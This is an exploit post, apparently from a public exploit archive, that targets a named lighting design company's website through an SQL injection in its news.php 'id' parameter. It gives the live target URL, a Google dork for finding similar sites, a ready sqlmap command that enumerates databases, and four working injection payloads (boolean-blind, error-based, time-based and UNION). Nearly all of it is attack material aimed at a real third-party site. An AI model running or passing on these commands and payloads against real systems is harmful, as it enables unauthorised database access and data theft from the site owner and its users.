****************************
#Exploit Title: CHELSEALIGHTINGDESIGN - SQL Injection vulnerability
#Date: 2020-09-20
#Exploit Author: Mahdi Karimi
#Vendor Homepage: http://www.chelsealightingdesign.co.uk
#Google Dork: news.php?id=24
#Tested On: windows 10
sqlmap:
sqlmap -u "http://www.chelsealightingdesign.co.uk/news.php?id=24" --dbs
Testing Method;
- boolean-based blind
- UNION query
- error-based
- AND/OR time-based blind
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=24' AND 7679=7679 AND 'RtiQ'='RtiQ
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=24' AND (SELECT 9281 FROM(SELECT COUNT(*),CONCAT(0x71717a7171,(SELECT (ELT(9281=9281,1))),0x716a717a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'FamK'='FamK
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=24' AND SLEEP(5) AND 'VlaY'='VlaY
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: id=24' UNION ALL SELECT NULL,NULL,CONCAT(0x71717a7171,0x585766654e6f534d7773707770554848697a47517559786c47486a77757475454f57616d69787771,0x716a717a71),NULL,NULL,NULL,NULL,NULL-- tGnS
**************************************************
#Discovered by: Mahdi Karimi
#Email : mjoker22mjoker22@gmail.com
**************************************************